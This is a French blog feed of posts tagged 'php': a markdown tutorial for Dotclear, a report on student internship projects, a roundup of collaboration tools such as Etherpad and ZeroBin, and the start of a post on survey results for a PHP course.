notes·de·pit - Mot-clé - phpParfois j'apprends à pêcher à des gens qui n'aiment pas le poisson2023-06-13T11:41:09+02:00PiTurn:md5:45526db4e4cfb511098640352c276065DotclearPréparer ses billets en markdownurn:md5:f0f8a6f08601727a321d3224785adc412013-11-19T23:46:00+01:002013-11-29T15:49:41+01:00PiTMes doigts dans le clavieralternativesdotcleargeeklogiciellibremarkdownphp<p>Là, j'écris en markdown, <strong>gras</strong> et <em>italique</em> … génial !</p>
<p>La syntaxe markdown permet d'écrire un texte en format texte tout à fait lisible et de le convertir en texte enrichi de manière très simple. Pour rédiger un article de blog et se concentrer sur le fond plutôt que sur la forme, c'est <strong>beaucoup</strong> mieux que la syntaxe <em>wiki</em></p>
<p><img src="https://blog.namok.be/public/images/divers/2013/markdown/embarquement_immediat_by_tiquitiqui-d37hlpk.jpg" alt="embarquement_immediat_by_tiquitiqui-d37hlpk.jpg" style="margin: 0 auto; display: block;" title="embarquement_immediat_by_tiquitiqui-d37hlpk.jpg, nov. 2013" /></p>
<p>La philosophie de la syntaxe est d'avoir un texte facile à lire et facile à écrire.</p>
<p>La syntaxe markdown est assez souple et permet plusieurs manières de rédiger (c'est mieux cependant d'être cohérent au sein d'un même document). À la différence de la syntaxe (des syntaxes devrais-je dire) wiki<sup id="fnref:2"><a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fn:2" rel="footnote">1</a></sup>, le texte source reste très lisible ce qui est agréable pour le rédacteur et pour une éventuelle lecture <em>plain text</em>.</p>
<p>La base de cette syntaxe est la suivante (le détail peut être trouvé sur le <a href="http://daringfireball.net/projects/markdown/syntax">site original daringfireball</a>):</p>
<ul>
<li><p>l'emphase simple, généralement interprètée comme de l'italique, est obtenue en <em>entourant le texte d'une étoile</em>;</p>
<p><code>Comme *ceci*</code></p></li>
<li><p>la double emphase en entourant le texte de <strong>deux étoiles</strong>;</p></li>
<li>le code s'écrit entre guillemets inversés (<em>back quote</em>) `;</li>
<li><p>les titres sont précédés de symboles dièses <code>#</code> (plus ils sont nombreux, plus le titre est de bas niveau). Ils peuvent également être soulignés si l'on préfère;</p>
<p><code># Titre de niveau 1</code></p>
<p><code>## Titre de niveau 2</code></p></li>
<li><p>un bloc de citation (<em>blockquote</em>) est précédé du symbole <code>></code> comme c'est l'habitude lorsque l'on <a href="https://blog.namok.be/?post/2013/11/19/post/2007/12/06/168-netiquette">répond à un email</a>;</p>
<p><code>> La patience … et merde tu t'évertues !</code></p>
<p><code>> Proverbe librement adapté</code></p></li>
<li><p>un bloc de code sera –quant-à lui– indenté de 4 caractères (ou une tabulation) au moins;</p></li>
<li><p>les listes à puces commencent par un caractère <code>*</code> ou <code>+</code> ou <code>-</code>, comme l'on veut. Il est même permit de les mélanger. Il est possible d'avoir plusieurs paragraphes sous la même puce. Pour ce faire indenter le code de 4 caractères (ou une tabulation) au moins.</p>
<p>Pour rappel, la version texte de la page sera toujours bien lisible. Pas de balise ni de html ni de wiki. Le texte de ce billet sera joint …</p></li>
<li><p>une liste numérotée, se fait … en la numérotant. Il suffit de commencer la première ligne par 1 suivi d'un point, la seconde par 2 suivi d'un point, etc. Si vous voulez tout numéroter avec 1, c'est bien aussi … et dans le désordre, markdown s'y retrouvera aussi !</p>
<p>Comme ceci !</p>
<ol>
<li><code>3. Premier élément</code></li>
<li><code>2. Second élément</code></li>
<li><code>1. Troisième élément</code></li>
</ol></li>
</ul>
<p><img src="https://blog.namok.be/public/images/divers/2013/markdown/markdown-text-editor.png" alt="Exemple d'éditeur" /></p>
<p>Les liens peuvent se faire de deux manières différentes, il existe les liens: <em>inline</em> et <em>reference</em>.</p>
<p>Le lien en ligne s'écrit: entre crochets <code>[]</code>, le nom, immédiatement suivi par l'hyperlien entre parenthèses <code>()</code>. L'hyperlien peut être suivi du titre toujours dans les parenthèses mais séparé de l'URL par un espace.</p>
<p><code>[Lien](http://example.org)</code></p>
<p><code>[Lien](http://example.org Titre)</code></p>
<p>Le lien référence s'écrit également entre crochets mais est immédiatement suivi d'une nouvelle paire de crochets contenant au choix; un identifiant, un numéro, ou simplement rien. Dans ce cas, c'est le nom du lien qui sera utilisé.</p>
<p><code>[Lien][id]</code></p>
<p>… la référence sera, quant-à elle écrite n'importe où dans la suite du texte. Les liens sont de la forme suivante. L'avantage étant que l'on peut les rassembler en fin de texte et qu'ils ne gêneront pas la lecture du document au format texte.</p>
<p><code>[id]: http://example.org "Titre"</code></p>
<p>Un autre avantage de la « méthode référence » est que je peux faire plusieurs fois référence au même lien dans le texte en n'écrivant qu'une seule fois l'hyperlien. Cela devient plus facile de rassembler en fin de billet dans les liens cités dans le texte.</p>
<p>Pour <a href="http://dotclear.org">dotclear</a>, il existe un <a href="http://plugins.dotaddict.org/dc2/details/formatting-markdown">plugin</a> permettant d'éditer ses billets dans cette syntaxe markdown ce qui permet d'écrire son brouillon en <em>plain text</em> de manière lisible.</p>
<p>La syntaxe (je sais), j'insiste permet de se concentrer sur le fond et de structurer son texte tout en le laissant parfaitement lisible. En fait, il faut essayer pour s'en rendre compte<sup id="fnref:word"><a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fn:word" rel="footnote">2</a></sup>.</p>
<p>J'use et abuse des notes de bas de pages.</p>
<p>C'est illisible mais j'aime bien <sup id="fnref:3"><a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fn:3" rel="footnote">3</a></sup>. Cette notion n'apparait pas dans la syntaxe markdown … mais bien dans l'<a href="http://michelf.ca/projects/php-markdown/">extension PHP</a> de Michel Fortin utilisée pour le <a href="http://plugins.dotaddict.org/dc2/details/formatting-markdown">plugin markdown syntax</a>.</p>
<p>Une note de bas de page est somme toute un <strong>lien</strong> un peu particulier.
Il s'écrit en utilisant l'accent circonflexe suivi d'un identifiant entre crochet. Le texte de la note de bas de page pouvant être écrit n'importe où dans le texte<sup id="fnref:5"><a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fn:5" rel="footnote">4</a></sup> en étant précédée, de l'identifiant muni de son accent circonflexe, entre crochets, suivis de deux-points. Les notes seront numérotées automatiquement.</p>
<p>Pour ma part, j'ai choisi de les numéroter « dans l'ordre où je les ajoute » en sachant que dotclear renumérotera ensuite. J'ai également choisi de les écrire dans le flux du texte pour mon confort d'écriture.</p>
<p><code>Un texte[^1] avec une note de bas de page</code></p>
<p><code>[^1]: La note de bas de page associée</code></p>
<p>Pour insérer une image, le mieux, c'est d'utiliser le bouton de l'interface wysiwyg qui donnera accès au gestionnaire de médias de dotclear. Cela aura pour effet d'insérer le code html pour l'image. Même si on aurait pu écrire une ligne de la forme suivante,</p>
<p><code>![Alt text](/path/to/img.jpg)</code></p>
<p>L'interface dotclear a l'avantage de gérer convenablement le lien vers l'image (locale)<sup id="fnref:4"><a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fn:4" rel="footnote">5</a></sup> et comme je dois de toute façon poser la main sur la souris pour envoyer / choisir l'image …</p>
<p>Les deux manières de faire fonctionnent …</p>
<p>Vous l'aurez compris, pour une édition claire de ses billets, je conseille la syntaxe markdown …</p>
<h4>Liens</h4>
<ul>
<li><a href="http://daringfireball.net/projects/markdown/syntax">Daringfireball.net, markdown syntax</a>, définition initiale de la syntaxe markdown </li>
<li><a href="http://pythonhosted.org/Markdown/extensions/footnotes.html">Python hosted</a>, un lien au hasard du net parlant des notes de bas de pages</li>
<li><a href="http://dotclear.org">Dotclear</a>, le moteur de blog </li>
<li><a href="http://plugins.dotaddict.org/dc2/details/formatting-markdown">Plugin markdown syntax</a>, le plugin chez dotclear</li>
<li><a href="http://michelf.ca/projects/php-markdown/">PHP Markdown</a>, la classe PHP prenant en charge la conversion du « source » en html</li>
<li><a href="http://www.framablog.org/index.php/post/2013/11/15/a-mort-microsoft-word">À mort les traitements de texte</a>, un article rappelant l'histoire des traitements de texte et pourquoi il faut séparer le fond et la forme. </li>
<li><a href="http://nicolas-guilhou.com/news/2012/11/07/Brulons_les-traitements_de_texte-embarques?source=tiny&fonctionne=yes">Brûlons les traitement de textes embarqués</a>, un peu une ôde à la syntaxe markdown ! </li>
<li>Crédit photo, exemple d'éditeur de <a href="http://nicolas-guilhou.com/news/2012/11/07/Brulons_les-traitements_de_texte-embarques?source=tiny&fonctionne=yes">Nicolas Guilhou</a></li>
<li>Crédit photo chez <a href="http://deviantart.com">DeviantArt</a> par <a href="http://fav.me/d37hlpk">Tiquitiqui</a></li>
</ul>
<div class="footnotes">
<hr />
<ol>
<li id="fn:2">
<p>Je ne parlerai même pas d'écrire en xhtml ou pire de faire des copier / coller à partir d'un traitement de texte. Je conseille d'ailleurs la lecture de « <a href="http://www.framablog.org/index.php/post/2013/11/15/a-mort-microsoft-word">À mort les traitement de texte</a> ». <a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fnref:2" rev="footnote">↩</a></p>
</li>
<li id="fn:word">
<p>Je sais que je ne m'adresse pas aux aficionados de MS Word et autres LibreOffice. Je suis toujours sidéré que l'on essaie de créer son billet en faisant un copier /coller dans l'éditeur wysisyg.<br />
Je ne comprend pas non plus que l'on écrive la souris à la main (voire par le biais d'un raccourcis clavier nécessairement moins accessible qu'une étoile ou un tiret) pour aller cliquer sur l'icone d'emphase ou de liste à puces.
Je respecte cependant votre manière de faire et expose la mienne parce que j'aime partager ce que je trouve pratique. <a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fnref:word" rev="footnote">↩</a></p>
</li>
<li id="fn:3">
<p>On ne se refait pas :-) J'aime écrire un commentaire un peu hors de propos, une note d'humour ou encore, une indication pour « aller plus loin ». <a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fnref:3" rev="footnote">↩</a></p>
</li>
<li id="fn:5">
<p>Je n'ai pas vérifié qu'il faille que ce soit après car j'écris rarement une note de bas de page avant le texte auquel elle fait référence ! <a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fnref:5" rev="footnote">↩</a></p>
</li>
<li id="fn:4">
<p>C'est l'occasion de rappeler que ce n'est pas poli d'insérer une image hébergée chez quelqu'un d'autre. Comme il faut la copier chez soi, autant utiliser le gestionnaire de médias de dotclear. <a href="https://blog.namok.be/?post/2013/11/19/billet-markdown#fnref:4" rev="footnote">↩</a></p>
</li>
</ol>
</div>
Stages #2urn:md5:92a2f2412b531ec978c1d49666d8569b2012-06-25T12:13:00+02:002012-06-25T14:02:25+02:00PiTCartable au dosesigeekgooglejavalogiciellibrephp<p>L'an dernier, j'ai commencé à parler de nos stages de fin d'année dans un billet intitulé: « <a href="https://blog.namok.be/blog/index.php?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys">Présentation de stages et autres jurys</a> » ... j'aurai pu l'appeler <em>stages #1</em>.</p>
<p>J'aime faire un (très) petit compte-rendu des présentations de stages qui se sont déroulées, les 14,15, 18 et 19juin 2012. Ce compte-rendu est l'occasion pour moi de prendre de la distance face au taux d'échec en première ...</p> <p>Les différents stages peuvent être regroupés en quelques catégories; les stages industriels, les stages <em>web</em>, les stages orientés réseaux et administration et les stages de gestion.</p>
<p><em>(Avertissement. Comme j'ai été un peu malade, je n'ai finalment pas participé à <strong>toutes</strong> les présentations et, parmi celles auxquelles j'ai participé, je n'en citerai que quelques unes ... que les étudiants me pardonnent car le but n'est pas d'être exhaustif.)</em></p>
<p><img src="https://blog.namok.be/public/images/divers/2012/stagiaire.jpg" alt="stagiaire.jpg" style="display:block; margin:0 auto;" title="stagiaire.jpg, juin 2012" />
Source <a href="http://jnchaintreuil.com/si-toi-aussi-tu-veux-etre-un-stagiaire-paye-6-229-tape-dans-tes-mains/">au hasard du web</a></p>
<h3>Les stages industriels</h3>
<p>J'ai retenu trois stages en informatique industrielle; le <em>jet d'eau</em>, la détection de couleurs et le <em>placement de machines</em>.</p>
<h5>Le jet d'eau</h5>
<p>Un premier étudiant s'est intéressé à l'interface utilisateur naturelle, <em><strong>natural user interface</strong></em>
(<a href="http://en.wikipedia.org/wiki/Natural_user_interface">Wikipedia</a>). L'idée est de s'aider d'une caméra pour capter les mouvements de l'utilisateur et de faire bouger le jet d'eau d'une fontaine en fonction de ces mouvements. La société voudrait placer dans un hall d'hôtel, par exemple, une fontaine et un petit écran. Lorsqu'une personne passe devant la caméra, elle a la possibilité de « danser » devant le jet d'eau ... et le jet d'eau suit le mouvement. Drôle et stage intéressant.</p>
<h5>La détection de couleurs</h5>
<p>Le second s'est intéressé à la détection de couleurs dans un flux vidéo. L'idée étant de permettre de tester « en temps réel » la réactivité d'une salle. Chaque participant a deux feuilles de couleurs différentes et l'application est capabde de, continuellement, déterminer le pourcentage de feuille vertes levées et le pourcentade de feuille rouges levées. L'application pourra permettre de chouettes trucs ... par exemple; demander à une foule de diriger un bateau en levant ses feuilles de couleurs ... \°/</p>
<h5>Le placement de machines</h5>
<p>Le troisième stage industriel que je retiens n'est pas ludique du tout et se situe <strong>dans</strong> l'industrie. L'idée est de faire une interface graphique pour un moteur (existant) de placement de machines en milieu industriel. Le moteur va permettre de minimiser les déplacements de l'opérateur
<sup>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#pnote-1318-1" id="rev-pnote-1318-1">1</a>]</sup>
et de proposer un placement des machines optimal en fonction de leur usage ... l'interface graphique porposée et les résultats obtenus sont assez intéressants.</p>
<h3>Les stages <em>web</em></h3>
<p>J'appelle « stage web », un stage pour lequel on demande à nos étudiants d'écrire une application web, un ou plusieurs <em>web service</em>, ou encore, l'ajout de fonctionnalités à un site web.</p>
<p>Pour commencer, le langage évolue et l'on parle à tort et à travers de réseau social. Je constate que ce vocable regroupe tous les sites web pour lequels, « il faut s'authentifier et où il est possible d'avoir un groupe d'amis ». Pour moi, le réseau est social lorsqu'il favorise vraiment les interractions entre les membres.</p>
<p><img src="https://blog.namok.be/public/images/divers/2012/.google-app-engine_t.jpg" alt="google-app-engine.jpg" style="float:right; margin: 0 0 1em 1em;" title="google-app-engine.jpg, juin 2012" />
Si l'on peut passer assez vite sur les étudiants qui ont du intégrer <a href="http://twitter.com">Twitter</a> et <a href="http://facebook">Facebook</a> à divers sites (en permettant, par exemple, l'authentification via Twitter ou FB), je m'arrêterai sur un site « social » permettant l'échange d'objet. Ce projet, pas spécialement novateur, utilise <a href="http://google.com">Google</a> comme hébergeur. Google ne propose pas l'hébergement comme <a href="http://ovh.com">ovh</a>. Sa proposition s'appelle <strong><a href="https://developers.google.com/appengine/">Google app engine</a></strong> que je ne connaissais absolument pas. Cette proposition d'hébergement se distingue très fort des autres offres ...</p>
<p>Le <strong>principal avantage</strong> de l'offre est, outre la disponibilité du service, la possibilité de changement d'échelle (<em>scale</em>)</p>
<p><strong><a href="https://developers.google.com/appengine">Google app engine</a></strong> permet au site de réagir à une soudaine montée en charge et permet au webmaster de s'abstraire complètement des contraintes de machines ... Si, soudain, j'ai besoin de beaucoup de temps processeur et de beacuoup de bande passante, Google est d'accord de me la <del>donner</del> vendre le temps nécessaire. C'est vraiment pratique pour un site qui va devoir subir de grosses montées en puissance et ... pour lequel ses mntées en puissances sont ponctuelles.</p>
<blockquote><p>En temps normal, je paie peu mon site car il a besoin de peu de ressource. Le jour où j'ai besoin de plus, Google me les fournit au prorata de la somme que j'ai décidé d'y consacrer.</p></blockquote>
<p>À cet énorme avantage sont associés quelques <strong>désagréments</strong>;</p>
<ul>
<li>Je n'ai pas d'accès ftp, je n'ai même pas d'accès au <em>file system</em> tout le site doit se coder à partir du sdk de Google et c'est via ce sdk que je met le site en ligne ... et je ne sais pas où. Tout est pris en charge par Google sans que je n'ai la main sur rien.</li>
<li>Cette proposition est payante (c'est normal) mais le coût se calcule en terme de pocessus, de bande passante, d'instructions, ... et il faut comprendre exactement le mode de fonctionnement de Google pour contrôler ce que l'on va exactement payer<sup>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#pnote-1318-2" id="rev-pnote-1318-2">2</a>]</sup>. Ce n'est pas aussi simple que; un espace sur le <em>file system</em> et une bande passante autorisée ... chez Google tout se paie et tout se contrôle<sup>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#pnote-1318-3" id="rev-pnote-1318-3">3</a>]</sup>.</li>
<li>Je dois prendre en main le sdk de Google avant de pouvoir créer un site web, pas de <em>php</em> par exemple mais du <a href="http://java.oracle.com">Java</a>, <a href="http://python.org">Python</a> ou du <a href="http://golang.org">Go</a>.</li>
</ul>
<p>... bref une autre manière de voir les choses qui pourra s'avérer utile pour des <strong>parties</strong> de sites web. Sites web qui devront subir soudain, une frote charge ... et qui pourront donc bénéficier des <em>datacenter</em> de Google.</p>
<p>À ces stages <em>web</em> viennent se greffer tous les stages <em>iPad</em> et autres tablettes. La mode est de proposer une application <em>tablet</em> et nos étudiants n'y échappent pas. Parmi plusieurs, je cite une application permettant le <strong>suivi de chantier</strong>; je (un architecte par exemple) me rend sur le chantier et je peux, via l'application,</p>
<ul>
<li>prendre des photos de défauts de construction,</li>
<li>écrire un commentaire,</li>
<li>faire un rapide schéma</li>
</ul>
<p>... pour une pièce donnée située sur le plan (également visible dans l'application)</p>
<p>Ce n'est pas une application <em>stand alone</em> puisqu'elle est associée à un site web permettant le suivi dudit chantier.</p>
<h3>Les stages orientés réseaux et administration</h3>
<p>Le stage que j'ai retenu dans ce domaine est un stage visant à la <strong>mise en place d'un réseau wifi sécurisé</strong>. L'existant consistait en un ensemble de points d'accès wifi répartis dans tout le batiment. Chaque point d'accès était affublé d'un SSID <sup>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#pnote-1318-4" id="rev-pnote-1318-4">4</a>]</sup> différent et le mot de passe <em>guest</em> était connu de tous.</p>
<p>Le but était de forcer les utilisateurs à se connecter avec leurs identifiants plutôt qu'avec le compte <em>guest</em> et de permettre de changer facilement (et très régulièrement) les accès <em>guest</em> au wifi. La solution mise en place fait intervenir <a href="http://openldap.org">OpenLDAP</a> et <a href="http://freeradius.org/">FreeRadius</a>. Le stage me parrait intéressant dès lors que la technologie n'est pas connue de l'étudiant ... et que l'ensemble est mis en production au terme du stage.</p>
<h3>Les stages de gestion</h3>
<p>Ces stages appellent peu de commentaires de ma part car ils sont très spécifiques et orientés entreprises.</p>
<p>Ils sont tout aussi intéressant que les autres et, cependant, ils mettent en œuvre des technologies éprouvées et connues; <a href="http://java.oracle.com">Java</a>, <a href="https://www.microsoft.com/net">.NET</a> C#, ... sur lesquelles je ne m'étend pas.</p>
<p>Citons quand même le stage d'un étudiant, spécialiste et (un peu) amoureux du <a href="http://groups.engin.umd.umich.edu/CIS/course.des/cis400/cobol/cobol.html">COBOl</a> qui s'est intéressé à la migration d'une application <em>mainframe</em> vers une structure Unix / Apache / MySQL / PHP (<em>aka</em> <a href="http://lamphowto.com/">lamp</a>).</p>
<p>Une question subsiste:</p>
<blockquote><p>Si une application fonctionne bien en COBOL sur une architecture stable comme le <em>mainframe</em>. Quelle est la valeur ajoutée de la porter sur une architecture LAMP et, surtout, quelle va être sa durée de vie ?</p></blockquote>
<blockquote><p>Écho d'un collègue lors des présentations de stage</p></blockquote>
<p><strong>Merci à tous nos étudiants sortant pour ces quelques jours où nous oublions les difficultés (et leur manque de motivation souvent) des étudiants de premières pour voir que notre investissement n'est pas vain et que la qualité des stages et des stagiaires est au rendez-vous.</strong></p>
<h3>Liens</h3>
<ul>
<li><a href="http://bephoto.be">Bephoto</a>, entreprise d'un ancien étudiant acceptant des stagiaires</li>
<li><a href="http://freeradius.org">Free radius</a>, serveur radius libre permettant la gestion de points d'accès wifi et l'authentification centralisée</li>
<li><a href="http://openldap.org">openldap</a>, implémentation libre d'un annuaire LDAP</li>
<li><a href="https://www.microsoft.com/net">.NET</a></li>
<li><a href="http://java.oracle.com">Java</a></li>
<li><a href="https://blog.namok.be/?post/2012/06/25/trello.com">Trello</a>, outil permettant la gestion de tâches dans un projet</li>
<li><a href="http://lamphowto.com/">LAMP how to</a></li>
</ul>
<h3>À lire aussi</h3>
<ul>
<li><a href="https://blog.namok.be/blog/index.php?post/2011/06/20/Pr%C3%A9sentation-de-stages-et-autres-jurys">Présentation de stages et autres jurys</a></li>
<li><a href="https://blog.namok.be/blog/index.php?post/2007/10/01/153-conge-de-toussaint">Congé de Toussaint</a></li>
</ul>
<div class="footnotes"><h4>Notes</h4>
<p>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#rev-pnote-1318-1" id="pnote-1318-1">1</a>] Ça permettra, c'est selon, d'accroitre son son comfort de travail ... ou de le virer ^^</p>
<p>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#rev-pnote-1318-2" id="pnote-1318-2">2</a>] Le maître de stage me pécisait que l'optimisation du code a un impact immédiat sur la facture</p>
<p>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#rev-pnote-1318-3" id="pnote-1318-3">3</a>] Je peux facilement contrôler mes quotas ... et c'est conseillé de le faire</p>
<p>[<a href="https://blog.namok.be/?post/2012/06/25/stages-2#rev-pnote-1318-4" id="pnote-1318-4">4</a>] Le nom que le point d'accès présente sur le réseau</p></div>
Vrac #9urn:md5:397fd6b9351ec4468f5359e470e78b212012-04-26T14:58:00+02:002012-04-27T09:52:38+02:00PiTMes doigts dans le clavieralternativesdiversesigeekinutilejavaperlphppratiquevrac<p>Quelques outils de collaboration que je découvre et que l'on peut ajouter à ceux que l'on connait déjà.</p> <p><a href="http://framasoft">Framasoft</a>, qui promeut le logiciel libre, nous propose différents outils.</p>
<blockquote><p>Issu du monde éducatif, Framasoft est un réseau de sites web collaboratifs à géométrie variable dont le dénominateur commun est le logiciel libre et son état d’esprit. Il vise à diffuser le logiciel libre et à le faire connaître auprès du plus large public.</p></blockquote>
<blockquote><p>Extrait de <a href="http://framasoft.org">Framasoft</a></p></blockquote>
<p>Je connais déjà <a href="http://framadate.org">Framadate</a> (un clone libre de <a href="http://doodle.com">Doodle</a>) et je découvre <a href="http://framapad.org">Framapad</a> une utilisation de <a href="http://etherpad.org">Etherpad</a>. Un service (version plus récente) se trouve chez <a href="http://pad.riseup.net">pad.riseup.net</a>.</p>
<p>Un <em>pad</em> est un document en ligne facilement modifiable par plusieurs utilisateurs ... pour peu qu'ils connaissent le lien. Ces collaborateurs peuvent modifier « à la volée » le document, peuvent <em>chatter</em> dans une petite fenêtre. Une fois le document près, il peut être exporté dans divers formats.</p>
<p>Point <em>fun</em>, il est possible de <strong>revoir</strong> toutes les modifications sous forme de vidéo, précisant qui a modifié le document et quand.</p>
<blockquote><p>Etherpad is a hosted web service that allows really real-time document collaboration for groups of users.</p></blockquote>
<blockquote><p>Extrait de <a href="http://etherpad.org">Etherpad</a></p></blockquote>
<p>Ceux parmis vous qui veulent que ce soit un tiers qui héberge les documents peuvent utiliser <a href="http://libredocs.org/">LibreDocs</a>. Libredocs utilise Etherpad <strong>mais</strong> sur un document hébergé ailleurs. Pour l'instant, ils proposent <a href="https://owncube.com">OwnCube</a> (qui implémente <a href="http://owncloud.org">OwnCloud</a> dont j'ai parlé <a href="https://blog.namok.be/blog/index.php?post/2012/04/25/mes-fichiers-dans-les-nuages">dans mon billet précédent</a>) comme plateforme d'hébergement du document. C'est peut-être un peu parano (et le mouvement est là <a href="http://unhosted.org/#introduction">Unhosted</a>)... ou pratique suivant sa situation.</p>
<p>C'est pratique si je commence un document que j'héberge dans « ma partie de nuage» et que je veux autoriser d'autres contributeurs à le modifier. Le document reste « ma propriété ».</p>
<p><a href="https://pad.riseup.net/p/notespit-vrac9"><img src="https://blog.namok.be/public/images/divers/2012/.screenshot-padriseupnet_m.jpg" alt="screenshot-padriseupnet.png" style="display:block; margin:0 auto;" title="screenshot-padriseupnet.png, avr. 2012" /></a></p>
<hr />
<p>Pour ceux qui veulent s'essayer à <a href="http://www.latex-project.org/">LaTeX</a> sans rien installer (pour l'instant), <a href="http://writelatex.com">WriteLatex</a> permet de visualiser le document final en cours de frappe. Pratique pour l'essai d'un petit document.</p>
<p><a href="http://writelatex.com/1233cbphql"><img src="https://blog.namok.be/public/images/divers/2012/.screenshot-latexwrite_m.jpg" alt="screenshot-latexwrite.png" style="display:block; margin:0 auto;" title="screenshot-latexwrite.png, avr. 2012" /></a></p>
<hr />
<p>Un clone de <a href="https://blog.namok.be/?post/2012/04/26/pastebin.com">Pastebin</a> très très simplifié et dont les données sont cryptées par le client avant d'être envoyée au serveur ... le serveur n'a donc aucune info sur les données qu'il stocke. C'est <a href="http://sebsauvage.net/wiki/doku.php?id=php:zerobin">ZeroBin</a> et on peut le <a href="http://sebsauvage.net/paste/">tester là</a></p>
<p><a href="http://sebsauvage.net/paste/"><img src="https://blog.namok.be/public/images/divers/2012/.screenshot-zerobin_m.jpg" alt="screenshot-zerobin.png" style="display:block; margin:0 auto;" title="screenshot-zerobin.png, avr. 2012" /></a></p>
<p>Enjoy !</p>
<h4>À lire aussi</h4>
<ul>
<li><a href="https://blog.namok.be/blog/index.php?post/2012/04/25/mes-fichiers-dans-les-nuages">Mes fichiers dans les nuages</a></li>
<li><a href="https://blog.namok.be/blog/index.php?post/2012/02/07/Vrac-8">Vrac #8</a></li>
<li><a href="https://blog.namok.be/blog/index.php?post/2011/11/24/Vrac-7">Vrac #7</a></li>
</ul>
<h4>Sources et liens</h4>
<ul>
<li><a href="http://etherpad.org">Etherpad</a> proposé chez <a href="http://framapad.org">Framapad</a> et chez <a href="http://pad.riseup.net">Riseup</a></li>
<li><a href="http://libredocs.org/">LibreDocs</a></li>
<li><a href="https://blog.namok.be/?post/2012/04/26/writelatex.com">WriteLatex</a></li>
<li><a href="http://unhosted.org/#introduction">Unhoste</a></li>
<li><a href="http://sebsauvage.net/wiki/doku.php?id=php:zerobin">ZeroBin</a> chez <a href="http://sebsauvage.net/rhaa/">SebSAuvage</a></li>
<li>Merci à <a href="http://blog.pettiaux.be/">Nicolas</a> pour les infos partagées ...</li>
</ul>Quel contenu pour les infographistesurn:md5:51ce39d95ffd2757a53496d2e9c9945c2011-11-22T15:13:00+01:002013-06-15T16:57:30+02:00PiTCartable au doscarechamilodiversepseesigeekgooglephp<p>Début de l'année, <a href="https://blog.namok.be/blog/index.php?post/2011/09/01/Un-petit-sondage-pour-la-rentr%C3%A9e">je vous invitais à compléter un petit sondage pour la rentrée</a>.</p>
<p>Petit sondage qui me permettrait d'adapter le contenu de mon cours (que je ne donne plus cette année) afin qu'il soit plus en adéquation avec la réalité. Et réflexion permettant de recentrer mes attentes et celles des étudiants.</p>
<p>Voici les résultats ...</p> <p>J'ai eu <strong>19 réponses</strong> c'est à la fois rien et beaucoup.</p>
<p><strong>Beaucoup</strong> car je sais que ce blog est très peu lu. <strong>Rien</strong> car les résultats ne sont pas représentatifs. De plus seuls mes connaissances travaillant dans l'informatique m'ont répondu, les infographistes, sauf un<sup>[<a href="https://blog.namok.be/?post/2011/11/22/Quel-contenu-pour-les-infographistes#pnote-1108-1" id="rev-pnote-1108-1">1</a>]</sup>, se sont abstenus ;-)</p>
<p>Certains de ceux qui m'ont répondu ont émis quelques réserves;</p>
<ul>
<li>«Je ne suis pas sûr d'avoir les compétences pour y répondre»</li>
<li>«Je ne suis pas infographiste et ne connais pas bien leur métier»</li>
</ul>
<p><a href="https://blog.namok.be/public/images/esi/enquete-formationPHP/screenshot-1.png"><img src="https://blog.namok.be/public/images/esi/enquete-formationPHP/.screenshot-1_m.jpg" alt="Domaine d'activité" style="display:block; margin:0 auto;" title="Domaine d'activité, nov. 2011" /></a></p>
<p>Au sujet des divers consepts à traiter dans ce module<sup>[<a href="https://blog.namok.be/?post/2011/11/22/Quel-contenu-pour-les-infographistes#pnote-1108-2" id="rev-pnote-1108-2">2</a>]</sup>, j'avais volontairement été large dans mes propositions. Elles ont toutes été reprises et d'autres ont été ajoutées ! Il faudrait parler de (et ce ne serait pas possible):</p>
<ul>
<li>Application client/serveur</li>
<li>Bases de données</li>
<li>Algorithmique élémentaire (et approfondie)</li>
<li>Langage PHP (procédural et orienté objet),</li>
<li>Javascript</li>
<li>Ajax</li>
<li>Framework PHP</li>
<li>Installation et habillage de CMS</li>
<li>Auxquels s'ajoutent; ergonomie, accessibilité, sécurité, <em>design pattern</em> MVC, templates, <em>cloud</em>, ...</li>
</ul>
<p>C'est clair, il va falloir faire un choix. Actuellement, ce sont tous ces consepts que j'essayais d'aborder et c'était clairement trop pour la plupart des étudiants.</p>
<p>Je demandais si des connaissances <em>linux</em> pouvaient être utiles; j'obtiens quand même 2/3 de <strong>oui</strong>. Ce qui me surprend car c'est clairement ce que je compte laisser tomber. Je ne compte même plus demander de se connecter en <em>ssh</em> pour avoir une console mySQL par exemple ... que du GUI (<a href="http://filezilla-project.org/">Filezilla</a> et autres <a href="https://blog.namok.be/?post/2011/11/22/www.phpmyadmin.net">PHPMyAdmin</a>)</p>
<p><a href="https://blog.namok.be/public/images/esi/enquete-formationPHP/screenshot-2.png"><img src="https://blog.namok.be/public/images/esi/enquete-formationPHP/.screenshot-2_m.jpg" alt="SSH - linux" style="display:block; margin:0 auto;" title="SSH - linux, nov. 2011" /></a></p>
<p>Un vrai petit <strong><a href="http://www.freepacman.org/">pacman</a></strong> comme graphique sur l'importance du respect des <strong>conventions d'écriture</strong></p>
<p><a href="https://blog.namok.be/public/images/esi/enquete-formationPHP/screenshot-3.png"><img src="https://blog.namok.be/public/images/esi/enquete-formationPHP/.screenshot-3_m.jpg" alt="Pacman, conventions d'écriture" style="display:block; margin:0 auto;" title="Pacman, conventions d'écriture, nov. 2011" /></a></p>
<p>Au sujet des <strong>bases de données</strong>. S'il est clair que l'on peut abandonner l'idée de créer ses tables dans une console mysql et qu'il faut mettre PHPMyAdmin à disposition. Il ressort que l'on ne peut pas se contenter d'une approche superficielle des SGBD mais qu'il faudrait parler de <strong>normalisation</strong> et de <strong>requêtes avec jointures</strong>.</p>
